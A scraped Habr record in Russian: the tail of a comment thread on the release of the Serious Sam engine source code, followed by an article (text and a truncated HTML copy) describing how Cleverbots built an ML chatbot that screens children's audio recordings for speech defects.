href=\"http://store.steampowered.com/app/41000/\">http://store.steampowered.com/app/41000/</a><br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дык пожалуйста: Serious Sam 2, Serious Sam 3: BFE.<br/>\r\nВторая часть сменила концепцию слегка, но всё равно весьма веселая и трэшовая на мой взгляд :) Во всяком случае казалась таковой в детстве. А третья часть уже больше по канонам, с новой графикой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Без финансирования это нереально. Но если кто соберется делать я с удовольствием примкну как GUI дизайнер и моделлер локаций\\оружия.<br/>\r\nhttps://skfb.ly/CRHP</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В принципе возможно и без финансирования, но это будет очень долгий долгострой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>основная особенность этого ремейка в HD-качестве картинки</blockquote><br/>\r\nТам движок другой и уменьшили число монстров. Последнее вообще убило всю идею.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ваш уровень весьма четко определяется по этому комментарию, например:<br/>\r\n\"И хороший код должен быть таким, чтобы его не было нужды менять. \"<br/>\r\nЯ не моуг представить себе специалиста, который такое заявит.<br/>\r\nНе менять код, значит не менять продукт. Или у вас там тоже что-то другое имелось ввиду и \"Даже не думал, что это можно как-то превратно понять.\"?<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Последнее вообще убило всю идею.</blockquote><br/>\r\nМоддится же легко.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Там было заявлено \"переиздание в высоком разрешении\". А по факту убрали главную изюминку. Это наглое зарабатывание денег, а хотелось бы, чтобы это было не настолько заметно.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">После такого поступка, действительно захотелось купить лицензионную копию этой игры.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Принцип открыт-закрыт это один из принципов SOLID, а не ООП<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Про поддержку тут написали же:<br/>\r\n1. Код хорошо документирован, специально, для облегчения понимания, что это, как не поддержка?<br/>\r\n2. Есть большое сообщество и готовая база знаний, уже занялись люди.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Еще Serious Sam: The Second Encounter есть. По-моему самая отвязная из всей серии. Собственно это фактически новая компания для 1й части с тем же движком, графикой и стилем геймплея. Лишь с добавкой нескольких новых монстров, новыми боссами и 3 новыми типами оружия. Не путать с Serious Sam 2. <br/>\r\n<br/>\r\nНу а 3я уже ИМХО совсем не торт.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Третья кому-то прям очень понравилась, а кому-то совсем нет. Поэтому средний балл на метакритик 72.<br/>\r\nКстати, Croteam анонсировали четвертую часть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Наверно поэтому 1ю классическую из продажи убрали. С год назад именно классику купив в коллекцию и переиграл заново — все еще торт несмотря на 15 летний возраст! Сейчас посмотрел — в продаже нет, можно получить только \"подарком\" в комплектах с новыми играми..<br/>\r\n<br/>\r\nНе особо этот HD мод и нужен — разрешения высокие и так доступны, летает на самом простом железе (думаю даже на встройках должно на максималках идти), на современных ОС запускается (за 8/10 вин не ручаюсь, но на 7ке работает). Чуть разрешение текстур низковато и модельки слегка угловаты по современным меркам, но там обычно такой экшен и угар идет, что рассматривать их просто некогда :)<br/>\r\nДля 2001года выпуска это что-то невероятное.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Не особо этот HD мод и нужен… на современных ОС запускается </blockquote><br/>\r\nИ я о том же. Кстати, у них есть патчи для запуска на новых версиях. Выпуск HD версии в таком свете совершенно лишний.<br/>\r\nОни еще и некоторые возможности старого движка не смогли перенести на новый, потому классика в плане геймплея поинтереснее будет.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интересное совпадение. Судя по профилю у нас с вами разница в возрасте 5 лет. Для меня первая игра не рассыпающаяся на пиксели это первый Quake, который как раз выше на 5 лет раньше серьёзного Сэма.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кто-нибудь смог собрать в VS2008? Если да, то поделитесь файлом-проекта.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В Quake пикселизация была — ого-го. Текстуры низкого разрешения, да еще и в 256 цветах. Сглаживание и приличное аппаратное ускорение появилось в QII, из-за чего он казался \"мыльным\". <br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так его ведь сделали в 2009 году. Называется Serious Sam HD: The First Encounter — <a href=\"https://ru.wikipedia.org/wiki/Serious_Sam_HD\">ru.wikipedia.org/wiki/Serious_Sam_HD</a>:_The_First_Encounter<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Уже два года занимаются: Serious Sam Classics: Revolution.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В языках с развитой системой типов для понимания хорошо написанного кода обычно достаточно \"говорящих\" имен модулей, функций и аргументов.<br/>\r\nХотя с именами тахе проблема, что и с комментариями, только в меньшем масштабе — при доработке программы они часто расходятся с кодом.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю, что с открытым, комментированным кодом это будет проще. В крайнем случае — можно будет найти возможные ошибки или избавиться от костылей.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Честно сказать, не помню параметры их текстур, но первый Quake поддерживал кроме програмного и аппаратный рендеринг через OpenGL или Glide. В то время у меня была видео карта на базе Riva 128. На ней разница между програмным и OpenGL рендерингом была очень впечатляющая. Пикселизации точно нигде не было. В то время 3D ускорители не у многих были, по-этому большинство просто никогда не видело Quake 1 в нормальном виде.<br/>\r\nВот картинка демонстрирующая различие:<br/>\r\n<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/1b0/741/ded/1b0741dedf818591f2a9bd7c5e2cdfc6.jpg\" alt=\"image\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/1b0/741/ded/1b0741dedf818591f2a9bd7c5e2cdfc6.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сглаживание — это совсем не о том. Будут просто мутные расплывчатые пиксели. В Serious Sam текстуры менялись на лету и когда вплотную подходишь к стенке — на ней уже была высококачественная большая текстура шероховатого камня.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это верно, такой фичи в Quake 1 точно не было.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Фича — mip mapping? была. Даже в программном рендеринге. Но даже максимального размера текстуры не хватало, чтобы отображать ее четко при подходе в упор. в Сэме сами текстуры были намного большего разрешения. <br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://store.steampowered.com/app/227780\">http://store.steampowered.com/app/227780</a><br/>\r\n<br/>\r\n<blockquote>Serious Sam Classics: Revolution is a unified version of the Croteam's original Serious Sam Classic: The First Encounter and Serious Sam Classic: The Second Encounter experience, which is currently in development by Alligator Pit, an indie development team made of Serious Sam fans with the support of Croteam. Serious Sam Classics: Revolution, along with newly developed content by Alligator Pit, also includes all levels from both Classics and is powered by an updated Serious Engine 1 featuring all-new advanced graphics shader support, full 64-bit compatibility, full Steamworks integration, and lots of bug fixes for a superior game experience.</blockquote></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Приглашаю почитать статью: <a href=\"https://habrahabr.ru/company/pvs-studio/blog/279805/\">Проверка исходного кода игрового движка Serious Engine v.1.10 к юбилею шутера Serious Sam</a><br/>\r\n</div>" ], "message_markdown": [ "UFO just landed and posted this here", "дак у нас тут и не веб разработка", "> В сфере веб-разработки это маркеры кода плохого качества. И хороший код должен быть таким, чтобы его не было нужды менять.\nПользователям комментарии не нужны, как и возможность менять код. А вот разработчикам — нужны.", "> Объемные комментарии — места, где поленились отрефакторить или сделать документацию.\nЧушь. Хороший код должен быть документацией сам к себе. Иногда для этого нужны ещё и комментарии. В некоторых ЯП (Haskell), кстати, есть режим \"literate\", где надо ескейпить код, а не комментарии. Наверное это потому что их создатели пишут плохой код.\n> И хороший код должен быть таким, чтобы его не было нужды менять.\nВы живете в каком-то мире эльфов, или просто тролль. В реальном мире нужда что-то менять по большей части возникает не из свойств кода, а из внешних обстоятельств. Которые постоянно меняются — меняется и код.", "Желаю вам работать только с кодом ОЧЕНЬ ХОРОШЕГО КАЧЕСТВА без единого комментария.\nP.S. в «хороших» проектах документация генерируется в автоматическом режиме из комментариев.", "Круто. Одна из любимых игр юности, причем шла на максималках и с хорошей производительностью. Особенно доставляла атмосфера уровней с пирамидами инков, такая-то благодать на закате.", "Да... Моя первая игра, в которой когда подходишь к стене, то она не рассыпается на пиксели. Меня это просто невероятно поразило в своё время. А какие там пейзажи были... Ночной Египет был прекрасен.", "> В связи с юбилеем выхода шутера от первого лица Serious Sam, который состоится в марте 2016 года, разработчики игры из хорватской компании Croteam решили выпустить полный исходный код игры.\nВсе бы так. В большинстве случаев ведь ни поддержки, ни обновлений для новых систем (после нескольких лет). Так есть возможность, что кто-то займется этим вопросом.", "Он вероятнее всего имел ввиду построчные комментарии \"как для идиотов\", а не docblock'и", "UFO just landed and posted this here", "Отлично. Croteam наконец смогли убрать из кода все костыли, так что его не стыдно стало показать. :)", "Дык есть же. http://store.steampowered.com/app/41000/", "UFO just landed and posted this here", "UFO just landed and posted this here", "Дык пожалуйста: Serious Sam 2, Serious Sam 3: BFE.\nВторая часть сменила концепцию слегка, но всё равно весьма веселая и трэшовая на мой взгляд :) Во всяком случае казалась таковой в детстве. А третья часть уже больше по канонам, с новой графикой.", "Без финансирования это нереально. Но если кто соберется делать я с удовольствием примкну как GUI дизайнер и моделлер локаций\\оружия.\nhttps://skfb.ly/CRHP", "В принципе возможно и без финансирования, но это будет очень долгий долгострой.", "> основная особенность этого ремейка в HD-качестве картинки\nТам движок другой и уменьшили число монстров. Последнее вообще убило всю идею.", "Ваш уровень весьма четко определяется по этому комментарию, например:\n\"И хороший код должен быть таким, чтобы его не было нужды менять. \"\nЯ не моуг представить себе специалиста, который такое заявит.\nНе менять код, значит не менять продукт. Или у вас там тоже что-то другое имелось ввиду и \"Даже не думал, что это можно как-то превратно понять.\"?", "> Последнее вообще убило всю идею.\nМоддится же легко.", "Там было заявлено \"переиздание в высоком разрешении\". А по факту убрали главную изюминку. Это наглое зарабатывание денег, а хотелось бы, чтобы это было не настолько заметно.", "После такого поступка, действительно захотелось купить лицензионную копию этой игры.", "Принцип открыт-закрыт это один из принципов SOLID, а не ООП", "Про поддержку тут написали же:\n1\\. Код хорошо документирован, специально, для облегчения понимания, что это, как не поддержка?\n2\\. Есть большое сообщество и готовая база знаний, уже занялись люди.", "Еще Serious Sam: The Second Encounter есть. По-моему самая отвязная из всей серии. Собственно это фактически новая компания для 1й части с тем же движком, графикой и стилем геймплея. Лишь с добавкой нескольких новых монстров, новыми боссами и 3 новыми типами оружия. Не путать с Serious Sam 2.\nНу а 3я уже ИМХО совсем не торт.", "Третья кому-то прям очень понравилась, а кому-то совсем нет. Поэтому средний балл на метакритик 72.\nКстати, Croteam анонсировали четвертую часть.", "Наверно поэтому 1ю классическую из продажи убрали. С год назад именно классику купив в коллекцию и переиграл заново — все еще торт несмотря на 15 летний возраст! Сейчас посмотрел — в продаже нет, можно получить только \"подарком\" в комплектах с новыми играми..\nНе особо этот HD мод и нужен — разрешения высокие и так доступны, летает на самом простом железе (думаю даже на встройках должно на максималках идти), на современных ОС запускается (за 8/10 вин не ручаюсь, но на 7ке работает). Чуть разрешение текстур низковато и модельки слегка угловаты по современным меркам, но там обычно такой экшен и угар идет, что рассматривать их просто некогда :)\nДля 2001года выпуска это что-то невероятное.", "> Не особо этот HD мод и нужен... на современных ОС запускается\nИ я о том же. Кстати, у них есть патчи для запуска на новых версиях. Выпуск HD версии в таком свете совершенно лишний.\nОни еще и некоторые возможности старого движка не смогли перенести на новый, потому классика в плане геймплея поинтереснее будет.", "Интересное совпадение. Судя по профилю у нас с вами разница в возрасте 5 лет. Для меня первая игра не рассыпающаяся на пиксели это первый Quake, который как раз выше на 5 лет раньше серьёзного Сэма.", "Кто-нибудь смог собрать в VS2008? Если да, то поделитесь файлом-проекта.", "В Quake пикселизация была — ого-го. Текстуры низкого разрешения, да еще и в 256 цветах. Сглаживание и приличное аппаратное ускорение появилось в QII, из-за чего он казался \"мыльным\".", "Так его ведь сделали в 2009 году. Называется Serious Sam HD: The First Encounter — ru.wikipedia.org/wiki/Serious_Sam_HD:_The_First_Encounter", "Уже два года занимаются: Serious Sam Classics: Revolution.", "В языках с развитой системой типов для понимания хорошо написанного кода обычно достаточно \"говорящих\" имен модулей, функций и аргументов.\nХотя с именами тахе проблема, что и с комментариями, только в меньшем масштабе — при доработке программы они часто расходятся с кодом.", "Думаю, что с открытым, комментированным кодом это будет проще. В крайнем случае — можно будет найти возможные ошибки или избавиться от костылей.", "Честно сказать, не помню параметры их текстур, но первый Quake поддерживал кроме програмного и аппаратный рендеринг через OpenGL или Glide. В то время у меня была видео карта на базе Riva 128. На ней разница между програмным и OpenGL рендерингом была очень впечатляющая. Пикселизации точно нигде не было. В то время 3D ускорители не у многих были, по-этому большинство просто никогда не видело Quake 1 в нормальном виде.\nВот картинка демонстрирующая различие:", "Сглаживание — это совсем не о том. Будут просто мутные расплывчатые пиксели. В Serious Sam текстуры менялись на лету и когда вплотную подходишь к стенке — на ней уже была высококачественная большая текстура шероховатого камня.", "Это верно, такой фичи в Quake 1 точно не было.", "Фича — mip mapping? была. Даже в программном рендеринге. Но даже максимального размера текстуры не хватало, чтобы отображать ее четко при подходе в упор. в Сэме сами текстуры были намного большего разрешения.", "http://store.steampowered.com/app/227780\n> Serious Sam Classics: Revolution is a unified version of the Croteam's original Serious Sam Classic: The First Encounter and Serious Sam Classic: The Second Encounter experience, which is currently in development by Alligator Pit, an indie development team made of Serious Sam fans with the support of Croteam. Serious Sam Classics: Revolution, along with newly developed content by Alligator Pit, also includes all levels from both Classics and is powered by an updated Serious Engine 1 featuring all-new advanced graphics shader support, full 64-bit compatibility, full Steamworks integration, and lots of bug fixes for a superior game experience.", "Приглашаю почитать статью: Проверка исходного кода игрового движка Serious Engine v.1.10 к юбилею шутера Serious Sam" ], "author": [ "{}", "Иван GiB$ON (gibson_dev)", "Hellsy22", "Виталик Гордон (alex_blank)", "maaGames", "Андрей Ларин (engine9)", "Семёнов Максим (semmaxim)", "idiv", "Артур (kovalevsky)", "{}", "lexx_v11", "Семёнов Максим (semmaxim)", "{}", "{}", "Savely Krasovsky (L11R)", "Андрей Ларин (engine9)", "http://www.moddb.com/mods/wolfgl-3d (Idot)", "idiv", "Александр Басов (AllexIn)", "Александр Басов (AllexIn)", "idiv", "Vitaliy Blats (vblats)", "Михаил (om2804)", "Сергей М. (sim31r)", "Mad__Max", "Savely Krasovsky (L11R)", "Mad__Max", "idiv", "Иван Зайцев (Zuy)", "Сергей (tronix286)", "Hellsy22", "NKMSKV", "mastan", "Михаил Потанин (potan)", "idiv", "Иван Зайцев (Zuy)", "Семёнов Максим (semmaxim)", "Иван Зайцев (Zuy)", "esc (esc)", "Андрей (ffs)", "Святослав (SvyatoslavMC)" ], "children": [ [ 16333359, 16333361, 16333363, 16333365, 16333401 ], [], [], [], [ 16333373, 16333423 ], [ 16333375 ], [ 16333413 ], [ 16333403, 16333421 ], [ 16333381 ], [ 16333379, 16333387, 16333419, 16333435 ], [], [ 16333383 ], [ 16333393 ], [ 16333385, 16333391 ], [ 16333405 ], [ 16333389 ], [], [ 16333395 ], [], [ 16333397 ], [ 16333409 ], [], [], [], [ 16333407 ], [], [ 16333411 ], [], [ 16333417 ], [], [ 16333427 ], [], [ 16333425 ], [], [], [ 16333429 ], [ 16333431 ], [ 16333433 ], [], [], [] ] }
555,282
ru
https://habr.com/ru/post/555282/
И чат, и бот, и логопед. Как разработать сервис на основе ML для диагностики дефектов речи у детей
«Шла Саша по шоссе», «Скажи: рррррыба», «Кукушка кукушонку...» – знаете, да, эти фразы, травмировавшие нас всех в детстве? Это был какой-то бесконечный эксперимент родителей с неоформленным желаемым результатом и главное – страхами, что их ребенок растет с дефектом речи. Привет! Меня зовут Дима Пухов, я технический директор в Cleverbots. Хочу рассказать, как мы учили чат-бот распознавать дефекты речи и добились 80% точности в диагнозах ИИ-логопеда. ### Проблема Проблемы с произношением есть у каждого второго школьника, утверждают логопеды. Их можно устранить на раннем этапе, но часто сложности списывают на детский возраст, а когда дефекты речи становятся очевидны, исправить их сложно. Поэтому спектрограмма, как сервис для дистанционной первичной диагностики, сможет предотвратить развитие и усугубление проблем и просигнализировать, если требуется вмешательство специалиста. В прошлом году фармкомпания «Герофарм», чтобы бороться со страхами и стереотипами о когнитивном развитии, запустила портал ПРО.МОЗГ, на котором можно прочитать очень много полезных и доступных материалов о том, как работает мозг, как «действуют» болезни и меняется организм. Кроме того, на сайте есть спектрограмма – сервис, который помогает родителям в игровом формате протестировать ребенка и определить, есть ли у него дефекты речи. ### Коротко о работе сервиса Для пользователей интерфейс Спектрограммы реализован в виде чат-бота и встроен в формате виджета на сайте. Тестирование происходит в игровой форме: под руководством родителей ребенок должен произнести предложенные фразы, которые потом нужно отправить боту в формате аудиосообщений, а ML-модель в автоматическом режиме определит, произнесена ли фраза с дефектом. Тут важно немного откатиться назад и вспомнить, как было в начале. На первом этапе внедрения аналогичного сервиса все анкеты направлялись логопеду, каждую нужно было прослушать и оценить, соответствуют ли речевые навыки ребенка возрасту, дать экспертное заключение и выставить соответствующую отметку в системе. А это более 10 записей на анкету. То есть, процедура очень рутинная, дети часто допускают одинаковые ошибки, а записи не всегда бывают соответствующего качества, ну или даже не всегда содержат голос тестируемого. Это место было бутылочным горлышком – продукту с такими сложными и достаточно рутинными этапами диагностики тяжело масштабироваться и сложно донести пользу для широкой аудитории. Еще и потребуется нанимать больше логопедов для оперативной проверки такого количества записей. Мы это исправили с помощью искусственного интеллекта. Сейчас система умеет давать первичное заключение – требуется ли случаю внимание специалиста. Информация о всех прошедших тестирование перенаправляется логопеду, и он на основе заключения программы определяет, нужно ли назначать прием. Результаты тестирования отправляются родителям на почту. ### Теперь самое интересное – как мы это реализовывали Существует много идей и технологий которые можно попробовать для решения: хорошо зарекомендовали себя в голосовых задачах частотные преобразования, например мел-кепстральные коэффициенты (MFCC). Их можно использовать на этапе feature engineering; использовать статистические признаки; Deep Learning, а именно технологии вроде тех, что используются в speech2text. С ними удобно работать, а решения получаются более универсальными, но может потребоваться большее количество данных, чем их есть на самом деле; использовать уже готовые облачные решения для косвенной оценки наличия дефекта. Например, решения от Yandex, Google, AWS для того, чтобы решить задачу speech2text и получить текст, который в дальнейшем будем сравнивать с тем, что должен был произнести ребенок. Мы решили попробовать как можно больше различных подходов, но в то же время, для нас было важно уложиться в довольно сжатые сроки – четыре месяца. Изучив имеющиеся вводные данные, мы выделили четыре возможных категории записей: 1. Пустая аудиозапись; 2. На аудиозаписи нет голоса ребенка (только голос взрослого человека); 3. Ребенок произнес фразу с дефектом; 4. Ребенок произнес фразу без дефекта. Поэтому появилась потребность предварительно забраковывать аудиозаписи, которые нам не подходят – записи, на которых нет никакого голоса или только голос взрослого человека. ### Ход решения #### Предварительная обработка Сперва применили к каждому сэмплу преобразования для удаления и сокращения больших пауз. Чаще всего, как обычно это бывает, подобные участки находились в начале/конце аудиодорожки. На следующем шаге для сэмплов подсчитали несколько статистических параметров (например, доля пауз и их длительность) и затем применили метод 3Sigma на преобразованных методом Бокса-Кокса распределениях для выявления аномалий и их последующего исключения из датасета. Это позволило нам избавиться от, например, очень коротких/длинных аудиозаписей. Теперь можно было двигаться дальше. #### Определение забракованных аудиозаписей Для этого из разделов spectral & rhythm features библиотеки librosa мы выбрали ряд переменных, по которым посчитали расширенную статистику. Применение PCA сократило число переменных до адекватных значений, и простая логистическая регрессия показа 0.99 по ROC_AUC. #### Определение дефекта речи Так как пользователи должны произносить заранее определенный текст, решили испытать speech2text. Мы попробовали использовать сервисы для распознавания речи: Yandex, Google, Amazon. Гипотеза, которую мы проверяли, была достаточно простой: если нет дефекта речи, то на выходе из speech2text сервиса получим как раз ту фразу, которую мы просили произнести нашего пользователя. Но это не взлетело... Текст, который мы получали, почти никогда не соответствовал тексту задания, которое выполнял пользователь. Даже в тех случаях, когда пользователь все очень четко произносил, мы чаще всего получали не то, что ожидали. Также у нас не получилось качественно разделить речь двух людей (такой функционал тоже есть). Единственный результат, который был полезен в нашем случае – это timestamp начала и конца каждого слова. В качестве бейзлана был выбран следующий подход – все переменные spectral & rhythm features из библиотеки librosa, tsfresh для калькуляции статистики и PCA (так как переменных получилось очень много). Результат оказался достаточно неплохим: ROC_AUC показал 0.85, но мы решили идти дальше – ближе к тому процессу, что проводит логопед при анализе того или иного сэмпла. Сначала необходимо перейти от общей модели к ряду моделей по каждому таску (пока их 52 штуки; <100 сэмплов в каждой). Так мы хотя бы немного упростим задачу моделирования – алгоритм быстрее отберет ряд наиболее важных переменных, представляющих наличие дефекта. Второй шаг – провести сегментацию каждого сэмпла. На текущем этапе хорошо себя показала функция onset_detection, которая разбивает каждый сэмпл на ряд подсэмплов, по которым мы считаем статистику и которая агрегируется обратно до уровня сэмпла. Средний balanced_accuracy_score, посчитанный на всех тасках показал оценку 0.80, что достаточно неплохо. Хорошей идеей показалось провести кластеризацию подсэмплов для каждого таска, с целью выявления одинаковых, и учиться только на них. В качестве теста были опробованы различные алгоритмы – от DTW до обычных кластеризаций на агрегированных статистиках и метода Audio Fingerprinting. Первый и последний метод оказались достаточно любопытными, хоть и работают не без ошибок, но, скорее всего, мы продолжим работу с ними. ### Как мы реализовали это в production #### Технологический стэк Предобученная модель и ее интерфейс в Python; Kafka – брокер сообщений; Django для кабинета специалиста. Как только пользователь записал и отправил аудиозапись, наша модель приступает к обработке, и через пару секунд результаты уже лежат в БД. В момент, когда логопед будет проверять анкету пользователя, подсказки от нашей модели уже будут у него перед глазами. Классический подход масштабируемый под трафик. Мы решили, что модели будут меняться, и захочется прогнать все аудиозаписи уже с помощью новой модели: для этого предусмотрели специальный функционал, который это осуществляет. Объемы на данном этапе позволяют это, а в случае невероятного роста количества сообщений, мы сможем ограничиться лишь записями, например, за последний год. ### Что получилось Если раньше логопед слушал каждую аудиозапись (а их, как мы писали выше, ~10 на каждого ребенка) по несколько раз, то сейчас логопед обращает пристальное внимание лишь на аудиозаписи которые были «подсвечены» нашей моделью, остальное – в пределах случайной проверки. В сравнении с тем, как были устроены процессы ранее, логопед экономит очень много времени. Модель сразу подсказывает, что с данным аудио все в порядке. На усмотрение специалиста можно на них не обращать внимания, а сразу перейти к аудиозаписям в которых у детей все таки появляются трудности с произношением. Да, наша модель еще не совершенна, и есть риск ошибки, но, во-первых, риски не так велики – модель точно определяет дефект на 80% записей. Во-вторых, мы активно работаем над их минимизацией: от выборочных проверок до регулярного дообучения моделей на новых данных. В дальнейшем планируется полный переход от модели human-in-the-loop, когда необходимо участие человека в диагностике, к полной автоматизации процесса благодаря дообученной модели.
<div xmlns="http://www.w3.org/1999/xhtml"><p>«Шла Саша по шоссе», «Скажи: рррррыба», «Кукушка кукушонку...» – знаете, да, эти фразы, травмировавшие нас всех в детстве? Это был какой-то бесконечный эксперимент родителей с неоформленным желаемым результатом и главное – страхами, что их ребенок растет с дефектом речи. </p><p>Привет! Меня зовут Дима Пухов, я технический директор в Cleverbots. Хочу рассказать, как мы учили чат-бот распознавать дефекты речи и добились 80% точности в диагнозах ИИ-логопеда.</p><h3>Проблема</h3><p>Проблемы с произношением есть у каждого второго школьника, утверждают логопеды. Их можно устранить на раннем этапе, но часто сложности списывают на детский возраст, а когда дефекты речи становятся очевидны, исправить их сложно. Поэтому спектрограмма, как сервис для дистанционной первичной диагностики, сможет предотвратить развитие и усугубление проблем и просигнализировать, если требуется вмешательство специалиста. </p><p>В прошлом году фармкомпания «Герофарм», чтобы бороться со страхами и стереотипами о когнитивном развитии, запустила портал ПРО.МОЗГ, на котором можно прочитать очень много полезных и доступных материалов о том, как работает мозг, как «действуют» болезни и меняется организм. Кроме того, на сайте есть спектрограмма – сервис, который помогает родителям в игровом формате протестировать ребенка и определить, есть ли у него дефекты речи.</p><h3>Коротко о работе сервиса</h3><p>Для пользователей интерфейс Спектрограммы реализован в виде чат-бота и встроен в формате виджета на сайте. Тестирование происходит в игровой форме: под руководством родителей ребенок должен произнести предложенные фразы, которые потом нужно отправить боту в формате аудиосообщений, а ML-модель в автоматическом режиме определит, произнесена ли фраза с дефектом. </p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/951/621/36f/95162136f91b6716cb5a7ac8ecd04b45.png" width="1557" height="918" data-src="https://habrastorage.org/getpro/habr/upload_files/951/621/36f/95162136f91b6716cb5a7ac8ecd04b45.png"/><figcaption></figcaption></figure><p>Тут важно немного откатиться назад и вспомнить, как было в начале.</p><p>На первом этапе внедрения аналогичного сервиса все анкеты направлялись логопеду, каждую нужно было прослушать и оценить, соответствуют ли речевые навыки ребенка возрасту, дать экспертное заключение и выставить соответствующую отметку в системе. А это более 10 записей на анкету. </p><p>То есть, процедура очень рутинная, дети часто допускают одинаковые ошибки, а записи не всегда бывают соответствующего качества, ну или даже не всегда содержат голос тестируемого.</p><p>Это место было бутылочным горлышком – продукту с такими сложными и достаточно рутинными этапами диагностики тяжело масштабироваться и сложно донести пользу для широкой аудитории. Еще и потребуется нанимать больше логопедов для оперативной проверки такого количества записей. Мы это исправили с помощью искусственного интеллекта.</p><p>Сейчас система умеет давать первичное заключение – требуется ли случаю внимание специалиста. Информация о всех прошедших тестирование перенаправляется логопеду, и он на основе заключения программы определяет, нужно ли назначать прием. Результаты тестирования отправляются родителям на почту.</p><h3>Теперь самое интересное – как мы это реализовывали</h3><p>Существует много идей и технологий которые можно попробовать для решения:</p><ul><li><p>хорошо зарекомендовали себя в голосовых задачах частотные преобразования, например<a href="https://habr.com/ru/post/140828/" rel="noopener noreferrer nofollow"> <u>мел-кепстральные коэффициенты (MFCC)</u></a>. Их можно использовать на этапе feature engineering;</p></li><li><p>использовать статистические признаки; </p></li><li><p>Deep Learning, а именно технологии вроде тех, что используются в speech2text. С ними удобно работать, а решения получаются более универсальными, но может потребоваться большее количество данных, чем их есть на самом деле;</p></li><li><p>использовать уже готовые облачные решения для косвенной оценки наличия дефекта. Например, решения от Yandex, Google, AWS для того, чтобы решить задачу speech2text и получить текст, который в дальнейшем будем сравнивать с тем, что должен был произнести ребенок.</p></li></ul><p>Мы решили попробовать как можно больше различных подходов, но в то же время, для нас было важно уложиться в довольно сжатые сроки – четыре месяца.</p><p>Изучив имеющиеся вводные данные, мы выделили четыре возможных категории записей:</p><ol><li><p>Пустая аудиозапись;</p></li><li><p>На аудиозаписи нет голоса ребенка (только голос взрослого человека);</p></li><li><p>Ребенок произнес фразу с дефектом;</p></li><li><p>Ребенок произнес фразу без дефекта.</p></li></ol><p>Поэтому появилась потребность предварительно забраковывать аудиозаписи, которые нам не подходят – записи, на которых нет никакого голоса или только голос взрослого человека.</p><h3>Ход решения</h3><h4>Предварительная обработка</h4><p>Сперва применили к каждому сэмплу преобразования для удаления и сокращения больших пауз. Чаще всего, как обычно это бывает, подобные участки находились в начале/конце аудиодорожки.</p><p>На следующем шаге для сэмплов подсчитали несколько статистических параметров (например, доля пауз и их длительность) и затем применили метод 3Sigma на преобразованных методом Бокса-Кокса распределениях для выявления аномалий и их последующего исключения из датасета. Это позволило нам избавиться от, например, очень коротких/длинных аудиозаписей.</p><p>Теперь можно было двигаться дальше.</p><h4>Определение забракованных аудиозаписей</h4><p>Для этого из разделов spectral &amp; rhythm features <a href="https://librosa.org/doc/latest/feature.html" rel="noopener noreferrer nofollow"><u>библиотеки librosa</u></a> мы выбрали ряд переменных, по которым посчитали расширенную статистику. Применение PCA сократило число переменных до адекватных значений, и простая логистическая регрессия показа <strong>0.99</strong> по <strong>ROC_AUC</strong>.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/26b/ab1/8a7/26bab18a75c5950fcd119809ba717a62.png" width="1500" height="296" data-src="https://habrastorage.org/getpro/habr/upload_files/26b/ab1/8a7/26bab18a75c5950fcd119809ba717a62.png"/><figcaption></figcaption></figure><h4>Определение дефекта речи</h4><p>Так как пользователи должны произносить заранее определенный текст, решили испытать speech2text. Мы попробовали использовать сервисы для распознавания речи: Yandex, Google, Amazon. Гипотеза, которую мы проверяли, была достаточно простой: если нет дефекта речи, то на выходе из speech2text сервиса получим как раз ту фразу, которую мы просили произнести нашего пользователя.</p><p>Но это не взлетело... Текст, который мы получали, почти никогда не соответствовал тексту задания, которое выполнял пользователь. Даже в тех случаях, когда пользователь все очень четко произносил, мы чаще всего получали не то, что ожидали. Также у нас не получилось качественно разделить речь двух людей (такой функционал тоже есть). Единственный результат, который был полезен в нашем случае – это timestamp начала и конца каждого слова.</p><p>В качестве бейзлана был выбран следующий подход – все переменные spectral &amp; rhythm features из библиотеки librosa, tsfresh для калькуляции статистики и PCA (так как переменных получилось очень много). Результат оказался достаточно неплохим: <strong>ROC_AUC</strong> показал <strong>0.85</strong>, но мы решили идти дальше – ближе к тому процессу, что проводит логопед при анализе того или иного сэмпла.</p><p>Сначала необходимо перейти от общей модели к ряду моделей по каждому таску (пока их 52 штуки; &lt;100 сэмплов в каждой). Так мы хотя бы немного 